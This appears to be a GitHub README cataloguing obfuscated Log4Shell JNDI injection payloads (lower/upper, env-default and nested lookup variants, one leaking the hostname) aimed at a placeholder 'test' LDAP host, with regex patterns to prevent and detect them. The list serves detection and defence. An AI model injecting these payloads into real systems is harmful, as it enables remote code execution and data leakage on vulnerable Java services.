Skip to content

Current Log4Shell obfuscation techniques observed or reported

Notifications You must be signed in to change notification settings

mcb2Eexe/Log4j2-Obfucation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 

Repository files navigation

Log4j2-Obfucation

Current Log4Shell obfuscation techniques observed or reported (Also works on rmi, dns, ldaps)

Obfuscation


${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://test/a}

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://${upper:t}est/a} 

${${env:env_name:-j}${env:env_name:-n}${env:env_name:-d}${env:env_name:-i}${env:env_name:-:}${env:env_name:-l}${env:env_name:-d}${env:env_name:-a}${env:env_name:-p}${env:env_name:-:}//test/a} (Also works on rmi, dns, ldaps)

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://test/a}

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://${hostname}.test/a}

${jndi:ldap://{$date:YYYYMMddHHmmss}.test/a}

Regex

Pattern match to capture all of above

Prevent


.*\$\{.{0,25}[jJ].{0,25}[nN].{0,25}[dD].{0,25}[iI].{0,150}:.{0,5}\/.*\}

Detect


\$(\{|\%7[bB])(\$(\{).+[jJ]|[jJ])\}*(\$\{.+[nN]|[nN])\}*(\$\{.+[dD]|[dD])\}*(\$\{.+[iI]|[iI])\}*(\$\{.+\:|\:).*(\}|\%7[dD])

About

Current Log4Shell obfuscation techniques observed or reported

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published